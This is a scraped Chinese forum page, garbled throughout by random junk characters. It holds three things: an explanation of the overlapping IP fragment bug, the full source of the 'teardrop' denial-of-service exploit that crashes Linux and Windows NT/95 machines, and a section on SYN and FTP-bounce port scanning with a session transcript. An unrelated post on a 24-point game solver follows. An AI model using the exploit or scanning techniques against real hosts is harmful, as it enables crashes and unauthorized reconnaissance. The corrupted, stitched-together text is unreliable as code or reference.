# v/ Z& w, b  r  N1 ^1 g7 D' Z4 p: {offset += i; /* ptr into datagram */
" w. `, q" P! v' |4 Gptr += i; /* ptr into fragment data */
" L& ^. J) C2 [}</P><P>/* Fill in the structure. */
! E1 o- g, Z: _6 S# [6 ~# K/ f( K0 Q9 cfp-&gt;offset = offset;8 x4 S) u: @/ @) \
fp-&gt;end = end;
5 f6 e: |4 C: rfp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:+ N5 M4 R7 h  b
第一个碎片:mf=1 offset=0 payload=20
5 h: ~* m4 a7 Z- v9 ?敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20 ( \3 \6 T+ u, [7 d2 h  b+ q( j
offset=0
# x, o, F$ U5 W2 k3 q/ G这样第二个碎片的 end=9+10=19: R1 u' o( `" S9 f* m7 L
offset=offset+(20-offset)=20+ v) R" z6 R* I9 g4 D
fp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>
3 H# o4 R# E2 w: [0 G- ]/*$ R* a! d4 i5 k: A2 g2 y
* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.972 P" a# H+ D9 K2 D* p( T
*2 z9 L( ~0 h7 ?7 N( y1 x( K0 q
* Linux/NT/95 Overlap frag bug exploit6 n" B4 R1 a9 k
*
1 p; ?+ n2 f5 s3 {' g* Exploits the overlapping IP fragment bug present in all Linux kernels and
5 P" j( h( u+ d9 k, K8 D" k* NT 4.0 / Windows 95 (others?)
" A& l4 ], F' |$ y, H*
- l. E  ^- o) C8 G* N, A( J* Based off of: flip.c by klepto+ t5 X/ L' F! _# x; q. e. ]
* Compiles on: Linux, *BSD*
5 I5 n8 W" ^' x3 `$ [2 O+ X- o1 G*
' T- N1 M% v  o& p# Q% U+ |* gcc -O2 teardrop.c -o teardrop
" t- {/ C1 V  y: K* OR
. A9 }- \4 c6 t( }+ t4 X6 r* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING& C+ g, K. r% |. T
*/</P><P>#include <STDIO.H>3 i2 a- d, B: }, w2 d# o! L" a6 I
#include <STDLIB.H>& V3 L* P, [7 g- o
#include <UNISTD.H>5 _) I- N1 R. d/ c2 ^2 \
#include <STRING.H>
1 i- G9 A# ~- f+ Y) k#include <NETDB.H>
0 O6 w4 J0 r/ e3 j8 R2 Y3 |9 Y( {#include <NETINET in.h>
8 y" U- {( b2 W( {7 M#include <NETINET udp.h>
7 ]# L. a; q) Q$ Z: V#include <ARPA inet.h>: u5 }1 h! `+ m. {" n( ^# J
#include <SYS types.h>" p* o2 a: b0 M  O! m9 Z+ M
#include <SYS time.h>
% }6 D8 A5 n& ]' v( I#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING: O1 I  \7 o+ X: k; J8 k. D
/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */
, ~- V, [$ q& `8 S- O4 t#define FIX(n) (n)
2 m0 r$ S2 ?: A  Y0 t, g: `4 E#else /* OpenBSD 2.1, all Linux */
6 ^' C- m: b6 D$ t- A% B#define FIX(n) htons(n)
; J, W, {8 ?2 c& C$ d' O8 t  C/ B#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
* o+ a& s) r/ z7 w" M1 l#define IPH 0x14 /* IP header size */5 G5 o3 [! d5 t) D
#define UDPH 0x8 /* UDP header size */
+ X8 y9 E6 ~4 \1 b( i#define PADDING 0x1c /* datagram frame padding for first packet */# y# x1 u( Y4 a) ]0 z
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
/ `6 z( F' m+ P: J#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
7 u9 e7 B6 M9 s( ~" e* withstand maybe 5 or 10 sometimes... Experiment.
5 B" D' B5 k4 c# p' _3 y*/</P><P>void usage(u_char *);+ Z1 m5 C- F' ?. f1 s* L. W
u_long name_resolve(u_char *);
; B/ N: |6 N% ^u_short in_cksum(u_short *, int);
2 c% Y, T5 t! Q+ z- Cvoid send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)$ V# p  h% T% k5 P' B* g3 h
{; c% Z5 Q" \3 |% Z5 }
int one = 1,
6 B$ \, }% e" n, ~5 xcount = 0,
" o- J$ v$ N9 \i, & T8 M: d7 f( O- c
rip_sock;
7 x; t$ M- [; Q0 Q6 s$ ~2 @u_long src_ip = 0, dst_ip = 0;: j* D1 j* H' T6 w& v, _3 F
u_short src_prt = 0, dst_prt = 0;. C  L) W! e. k
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
2 f5 w& u; r, kif((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
7 F# K- x. W$ v% q6 l4 O{! b# L+ Y5 w. T1 U3 i
perror("raw socket");) }" N0 x, G, I8 Z7 Y' _7 G% _
exit(1);; I& `% ^4 \1 L/ h. K- x
}/ O! J5 \9 M* _0 T. L0 ~
//由系统处理IP校验和。
9 `6 |/ S% l0 k1 R! e* hif (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
5 d/ ~) W- u) Z) \&lt; 0): o% ~- c- I! z. J! r# A. m
{
& c: ?- o* y0 h% a, h8 M, @perror("IP_HDRINCL");
. r: h0 F' q2 |; l& c+ g( e0 _7 Eexit(1);8 q- C9 |" a+ _6 B/ g
}</P><P>if (argc &lt; 3) usage(argv[0]);
6 `# y3 y) d5 a; pif (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))! a7 ?, l! G) o& W6 I3 Z1 m
{* R* h  m2 j1 b# K; [! m$ L; E
fprintf(stderr, "What the hell kind of IP address is that?\n");$ J" c. C4 f/ ?; t- ]
exit(1);! t- d$ p4 e% I
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF), _8 z1 w- x+ i1 U
{
# J! N  o+ [8 ]: x5 F5 ^: _$ [switch (i)0 `8 K# [0 i) v; u' N/ _
{5 Y$ u( a3 b0 z0 q2 K1 F
case 's': /* source port (should be emphemeral) */
) O/ f/ x7 H0 W# e) V3 G4 Zsrc_prt = (u_short)atoi(optarg);7 O. c- b3 {, c, h, h
break;
; h* c- d% z8 l$ M2 Dcase 't': /* dest port (DNS, anyone?) */
0 H8 b- J9 Y- ~/ t' xdst_prt = (u_short)atoi(optarg);$ L& T5 U4 t1 |4 [
break;
1 r! s, v5 T7 @$ j, Lcase 'n': /* number to send */
4 Q. d' {$ [1 Q# R, ycount = atoi(optarg);& a$ x3 H, C3 T* K5 Y( o8 I8 \
break;# Y, i9 M6 }, S$ r; \4 g. l
default :
* a0 q! ^( Z9 Q6 b. l% Tusage(argv[0]);
& M" i! r2 G0 O, B1 Qbreak; /* NOTREACHED */
. f! i3 P* ~; ~}
) D; c6 {  }/ @5 s4 n$ J8 U7 i( A}</P><P>srandom((unsigned)(time((time_t)0)));) h' t6 z2 K9 g) b8 {
if (!src_prt) src_prt = (random() % 0xffff);
. h* u& p0 @# m" j3 rif (!dst_prt) dst_prt = (random() % 0xffff);
1 Q5 W/ f/ j. ~( H$ n+ {, mif (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
2 b. I. O' M; w7 `8 j( vaddr.s_addr = src_ip;# N, X0 A/ N. D7 L
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);. W/ I( N5 U. Y; x
addr.s_addr = dst_ip;
- j/ B6 T4 S9 Tfprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
3 [) }: A3 h5 S$ ^4 {& B9 G0 r$ lfprintf(stderr, " Amt: %5d\n", count);6 J5 C2 Z% a9 Y
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
) V2 |2 Z0 a4 D8 I{
+ Z5 E; x6 n. M3 gsend_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
6 W( B! n4 V' c, N3 dfprintf(stderr, "b00m ");5 c+ r4 h: n' d1 p7 k; D7 N
usleep(500);, p3 B6 \+ ?" M: Y$ U
}% r( }# E) {$ g6 n- h
fprintf(stderr, "]\n");) L& {- V) F/ ]8 {3 I6 g3 i
return (0);
1 G$ {7 R3 Z' D6 E  P}</P><P>/*
# k7 _8 M4 f7 p. }4 z* Send two IP fragments with pathological offsets. We use an implementation7 W9 \( W; y8 k7 L6 V0 K0 P2 z
* independent way of assembling network packets that does not rely on any of! p9 K1 z7 Y9 O! e7 T
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).2 `6 O; Y& [& T6 t9 X# l) J5 R
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,0 G3 l2 k4 v" p4 r& K  t
u_short dst_prt)
4 ~. A0 t9 y/ `{0 v4 [0 j) z8 h$ r. v# t1 m
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */4 D: a" ~. V+ n3 |' C
u_char byte; /* a byte */
% C) X1 E% @" T' a2 y% Hstruct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
, l* P4 Z  p7 E2 L& W# ^sin.sin_port = src_prt;( b) y) L/ j) ]" e1 J+ N+ G, [/ ?
sin.sin_addr.s_addr = dst_ip;</P><P>/*  {  U8 _: i+ E
* Grab some memory for our packet, align p_ptr to point at the beginning
( w7 r1 t% m3 W! `! M5 g0 |6 }/ f* of our packet, and then fill it with zeros.$ e0 ~- u* G# J1 U: t' K
*/9 H  S0 q) k0 K4 T# B( {! t
packet = (u_char *)malloc(IPH + UDPH + PADDING);6 F7 F, `8 d. c' p5 `
p_ptr = packet;
. |# q1 L* b. S  Z/ Nbzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */' m1 k0 U- Q& Q0 r
memcpy(p_ptr, &amp;byte, sizeof(u_char));7 o$ u* R" P5 f* [! A
p_ptr += 2; /* IP TOS (skipped) *// ?. `7 @- g( x' B
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */6 ^+ F. a& ?2 t6 v7 A
p_ptr += 2;) ?! h! A+ F6 I5 m3 Z/ a; B) j
*((u_short *)p_ptr) = htons(242); /* IP id */
& ^" m' N! C- c0 v% F$ Q3 p/ Jp_ptr += 2;
, K+ p4 t! `1 A- e/ \*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */6 r: o3 S' ^/ x# A1 y1 Y
p_ptr += 2;
/ j( E6 A: S4 t: N* g7 V*((u_short *)p_ptr) = 0x40; /* IP TTL */
& ~; h# M* X# P" `0 Kbyte = IPPROTO_UDP;3 t0 f7 X: P& d) h
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));4 ~8 ~$ e: k- O( y
p_ptr += 4; /* IP checksum filled in by kernel */; @7 v3 c' w) A! e9 j8 ]
*((u_long *)p_ptr) = src_ip; /* IP source address *// C4 J3 j! N$ ?3 @; v
p_ptr += 4;& \( X( d& t( v
*((u_long *)p_ptr) = dst_ip; /* IP destination address */. }# x" T7 _- m2 c2 l0 ^
p_ptr += 4;- j$ e% n, A7 I9 ]5 K/ Q  M+ ~
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */% Y) a  x3 x1 \/ W
p_ptr += 2;/ l1 y4 ~% h( B9 n# @' U/ N) {3 T, c
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
7 Z6 }* b& L" Np_ptr += 2;
. z4 J+ {" s* ]5 j7 o*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,* I- a2 `1 w+ s1 y) ^5 ^0 x
sizeof(struct sockaddr)) == -1)
! j. a( G. v5 J' g+ b! v7 g{4 ~& {4 b2 X- O8 k" U
perror("\nsendto");( M9 n' R/ \, Z! K. M- x
free(packet);
1 P7 u* S! D+ Q2 E+ v" uexit(1);
' n- V$ c% @4 d  ?}</P><P>/* We set the fragment offset to be inside of the previous packet's8 Y) v+ i6 x' o; M: R4 B
* payload (it overlaps inside the previous packet) but do not include
- R- z  I3 s( b. u( f( L6 j' i0 F* enough payload to cover complete the datagram. Just the header will
: J  r& |, ~) Y% |% l1 @* do, but to crash NT/95 machines, a bit larger of packet seems to work: H- j3 v! p  f" T8 g) Z
* better./ G2 V% z% v9 \2 y6 L8 j# h
*/3 o, y- `, {5 w* W: F/ b
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */
  v4 d2 z* \. B*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
0 o7 w2 P& j& E- k- z3 Z* i8 ]p_ptr += 4; /* IP offset is 6 bytes into the header */% `/ E. j. P0 E0 @* d" @) u, x
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
3 L8 q# }2 o! p6 n; J4 `: lsizeof(struct sockaddr)) == -1)
( E" r# s6 L2 B{
3 o6 g+ t5 @; Xperror("\nsendto");4 R! O. _3 H0 j' x! c/ J
free(packet);
) {- x+ j5 U; wexit(1);
% s$ ~/ S8 R" d2 ^; s1 J}
2 o9 e% ?: V" [6 |free(packet);
# v3 `" d; d6 J$ E$ ^* m8 V8 c}</P><P>u_long name_resolve(u_char *host_name)" E; f$ V. ^7 V+ b/ Y9 ^
{
" [8 ]) b1 Y8 m, E. E1 w* G' W7 gstruct in_addr addr;( J( Q% E( o7 Y8 K2 X
struct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
( j! R* [. i8 n$ L{+ G* x: d; m* E* X+ A
if (!(host_ent = gethostbyname(host_name))) return (0);' F) x, M% y6 F% H5 t$ f
bcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
$ J( _- M. n, ~6 X' c2 v}
+ e0 D" G3 R. S+ U- H1 Jreturn (addr.s_addr);& X! y2 i- @% L" A! V
}</P><P>void usage(u_char *name)
1 u. D, z8 L: k6 L{; M1 E1 D( n) X! U
fprintf(stderr,1 l6 p: D4 e* k. p" y
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
) l, i+ T+ o! B# {( [name);
% i2 E% C9 x: Q; i3 F6 @exit(0);
) x! D! r! t- a% Z7 X}</P><P>8 l: v% C9 r6 s+ K4 G: |. C
4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法: 2 \2 T% f" B; r+ c( T+ }) u" w
(1) Half-open(半打开)1 \# ~. v" o( e- ~( I: I0 z# b
利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),1 {$ @2 g$ b6 S+ q: ]- _
如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner
5 n, z% \. D6 G0 }利用了FTP的port命令,例如可以这样作:9 }" q" K, j8 J3 H2 h, X6 `' M4 e. n
选择一个FTP服务器,连上后令port命令指向目标机,如果返回1 y. T/ F; _" |0 y' o
值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则
( B( s; n5 _& V# {! r该端口无服务。
. Q4 l( p* l) q9 }* ftelnet 192.168.1.13 21
  w; G. f$ G6 @; f$ c( ^+ hTrying 192.168.1.13...
+ o: M$ O7 T- Y- H/ l& UConnected to pp.bricks.org.
5 l7 N% e; k6 s4 |7 ^Escape character is '^]'.+ S! F4 \$ K) C/ I+ }8 O5 C8 c. t
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1) 9 s- ]. J: O$ R; z3 z7 I  R
Thu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
) S9 D8 G& J% v8 c+ ?1 o: E6 g# R331 Guest login ok, send your complete e-mail address as password.
. B1 x4 J: l0 \/ C7 }2 opass aa@aa.aa
5 P' V6 l" y" K3 Q; [230 Guest login ok, access restrictions apply.
3 P& A" p, L  Vport a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
/ @0 N0 z' K* a5 ]% ^) w425 Can't build data connection: Connection refused.( l0 j" [( L3 h+ E/ M
//该端口未活动
/ j; h' [& ~4 D/ R150 Opening ASCII mode data connection for file list.1 y% n3 ]- J& a/ i. n) v# L
226 Transfer complete.5 K6 r9 B- g& q0 _' n2 |
//该端口活动中
9 I" ]5 S$ Y, o+ U. P7 X  y! G但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
  N- k  s3 R( Q, ASYN|FIN ACK or SYN|ACK* RST
% c! |' Q  t# r+ \: ~* |ACK Nothing RST3 T. U3 X; L: ~+ k- {. i- M0 W
0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport4 l( r/ c* u8 X' v/ k: `: ]
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,! g' k, ?3 P* [8 r# c
若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认  V: N+ {2 O8 o: B' E1 U4 Q
定它在向你做portscan。</P><P>notes:
/ o; c) x1 I; N  A* K& W; o早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),1 S3 M5 l1 i" |
而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的& S; O! q' ]* E: }* W& Q* d
都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>
7 p, T; c* ?/ d7 [  `' d$ b  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。
" {2 y3 ~- C6 C7 l  d( c( \! T3 l6 L, r0 Y" A3 _( S
  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。 4 j& E$ c% D4 D
首先穷举的可行性问题。我把表达式如下分成三类——. `  T* Z8 j% L9 w" ]
<FONT color=#ff0000>1、 无括号的简单表达式。
, P( x+ \6 [+ s1 w2、 有一个括号的简单表达式。) t5 o' |) @& i! R/ j' q; `
3、 有两个括号的较复4、 杂表达式。5 ^  c; Y5 ?/ G+ S5 g: Q) F
</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:& j8 H) \) ?# G8 t
<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */3 C& e9 q5 F) B7 T1 V: `
/* c[] 存放四张牌的数组 */3 C9 @, ]5 q1 A8 R" `
/* k[] c[]种四张牌的代号,其中k[I]=I+1。# }! o3 v* c  u7 B2 y1 m
用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */" |) f! k* Z9 P
/* kans[] 暂存生成的排列组合 */
' R) A$ h  T' B/ [- |) I: Y2 H  c7 B/* j 嵌套循环的次数 */) f1 h# r+ D- @7 v  Y! |
int fans(c,k,ans,kans,j): o/ P  {- r( x+ o& `7 C
int j,k[],c[];char ans[],kans[];
" B" k3 ^7 L) C: p{ int i,p,q,r,h,flag,s[4],t[4][4];
3 Q* [' h9 ^) \; gfor(p=0,q=0;p&lt;4;p++)
8 q- e7 Z9 C. y$ }" _{ for(r=0,flag=0;r<J;R++)3 {* o; Q- d, ~- Z9 d3 C9 U
if(k[p]!=kans[r]) flag++;  b9 M+ Z' z5 Q' I
if(flag==j) t[j][q++]=k[p];
: k  F2 L8 S) f) e5 T}2 D8 C. M! N& G# I; c
for(s[j]=0;s[j]&lt;4-j;s[j]++)" J1 |+ P! @( z3 C( f# d6 `5 N
{ kans[j]=t[j][s[j]];: h# e) ~& D# B) N
if(j==3) { for(h=0;h&lt;4;h++)8 ]( T" p7 @. d4 E
ans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
$ q. Y. ?; l$ x- O& I达式中的位置 */
4 s/ W7 U4 o# y) u2 Rfor(h=0;h&lt;3;h++)
, E6 Q, G' M- Wsymbol(ans,h); /* 在表达式中添加运算符号 */
$ h0 a, |% H7 a$ S/ \2 n}1 J* C0 A" T) f6 i4 c
else { j++;
+ m' [3 j' l$ n. P$ xfans(c,k,ans,kans,j);
* t; D$ _) t& ]* y) p7 Cj--;
1 a/ M" o. B4 V; b5 J  Y& o3 A( C}
& G( U2 L8 z* O" {6 A( {}* c) Z' I9 O4 A  u! {
}</FONT>) C3 E$ |# Y( r; o6 m9 ~

8 w1 ^2 o$ g/ G1 `  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:7 W/ ^' Y/ C0 k! f( z4 A7 ?2 U
  j; A1 O5 C: K4 F7 w7 b
<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
9 j1 H, X6 m- k8 F% g: w" O! Xint sans(ans,sy,j,h)
. @  q5 \4 P' ~. l) X2 Bchar ans[],sy[];int j,h;
7 y8 c/ W$ q7 j; k; R{ int i,p,k[3],m,n; char ktans[20];& `+ N$ q; J2 {2 {% `5 J
for(k[j]=0;k[j]&lt;4;k[j]++)
9 J' x. k2 t6 Z" G2 Q{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位$ q8 _9 M. S& E" Y; |' s5 ]
这里的三个运算符号分别存放在1、3、5位*/
& f2 e+ J9 I# u' y8 s) @) P8 d8 Eif(j==2)& e; r1 l$ J1 ^  L1 i% ]9 k5 G
{ ans[5]=sy[k[j]];2 e* k) [+ r0 Y  k
/* 此处根据不同的表达式形式再进行相应的处理 */( Q/ d2 \. I+ |$ E$ k' }6 F
}4 Y# `; b+ Q" V" K
else { j++; sans(ans,sy,j--,h); }1 X+ K' I. ~$ v( h/ p/ A
}
8 [* }; y9 V( M: w}
% f# f& s. `* J2 ^# ^9 T+ H2 M- ~2 X# ?' T
</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。
0 y$ h* T, |$ P5 Q! P5 o: [for(m=0;m&lt;=4;m+=2)9 D, s2 {; ], D
for(n=m+4;n&lt;=8;n+=2)
' f1 f2 U6 |5 S! M  ~1 N  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。
4 F- s# u7 B: E, [$ ]. |# q! Z" R& {
  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。
- Z/ M3 w2 k9 f0 \</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。
# Q4 |' {4 q1 |7 @在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。
- C* v! o; d; s9 {( b$ |0 F7 h* R' Q) C5 K% F# W* b* w! \
  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。
( c) H# F; [; T5 q. W
' M9 c. J- N" p2 ]7 j$ b4 k  ^7 h  那么作为栈的著名应用,表达式的计算可以有两种方法。  f$ h. ?3 V9 R. U, z& b( a

$ r) S4 Q  }9 G. {! L6 @  <FONT color=#ff0000>第一种方法——</FONT>" D8 F8 W1 ]. z' Z1 ?( k
  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。
- F: i0 x- S# F! b) |( N  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:2 R4 r2 G* `3 ~9 A/ T/ H
1、 若W为操作数
6 w) ]7 ]6 C( M% g2、 则将W压入操作数栈OVS8 E/ @: V( J0 U: |
3、 且继续扫描下一个字符5 Y- ?. V$ k6 V
4、 若W为运算符) \# x' z6 F0 b  \* s
5、 则根据运算符的性质做相应的处理:
# ^0 }" j) @! ?1 l(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。
) V+ ^. u4 ]2 H% u(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。  f. j" }& F  G8 l4 a0 h- l8 x
(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。$ v1 w5 \1 U! K1 B4 U$ u
(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。
. q, }/ M+ S" i* P. z# i% B; v; V8 l+ i3 _6 i- O# c* P
<FONT color=#ff0000>  第二种方法——</FONT>. [+ Y! P, E: S9 K' T* S$ [
  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。2 J6 f" ~8 B$ u+ ^$ X$ ?

8 i$ t9 ?' P' D7 I4 |  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。
1 J) E+ C2 Y. |
, z" N$ u; \) b1 ]) l6 h   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。9 D7 B8 }; {0 z) k6 X* g; T
表达式 波兰表达式; d3 p! I: k0 h, c7 b( H( W
A-B AB-
: |! c  {" \1 k1 H, O9 u(A-B)*C+D AB-C*D+
4 w. J- Z' R# C! ]8 KA*(B+C/D)-E*F ABCD/+*EF*-
8 _5 Y- q/ v$ W3 L9 t4 d! e, c(B+C)/(A-D) BC+AD-/2 V! K: }6 K5 {1 ^
: D6 W9 v' l' f0 D7 z6 D
  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。: c0 u0 P3 |( Z1 w+ J$ B( i  J

$ U. C: S4 u( B  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。/ v; s! [; A  w9 J9 X9 g8 y

- B) M" H9 G7 [8 A  下面给出转换和计算的具体实现程序——
2 l/ P! I" D! H$ Y7 Z. w# P& N6 g/ z5 B" }: N/ q  n% U' R
<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */# n$ ]: C7 L! S9 G$ z
int first(char c)
, k$ N' O/ H  ?- w- Y3 `{ int p;& [3 v0 c# \! N( o! Y- y
switch(c)& ]7 V3 U/ Z4 P1 Z  A( b% O
{ case '*': p=2; break;
: q' T- M# U) @8 \$ |case '/': p=2; break;
& @( u8 @7 n" X4 v; m. t, N3 o7 \case '+': p=1; break;
. T: O7 u+ e5 X, tcase '-': p=1; break;
7 L1 `. c4 J/ l% L2 Kcase '(': p=0; break;
2 F2 o) p: a/ b# i/ ?case '=': p=-1; break;
3 ^; e, C3 `* W* H! j7 Q}
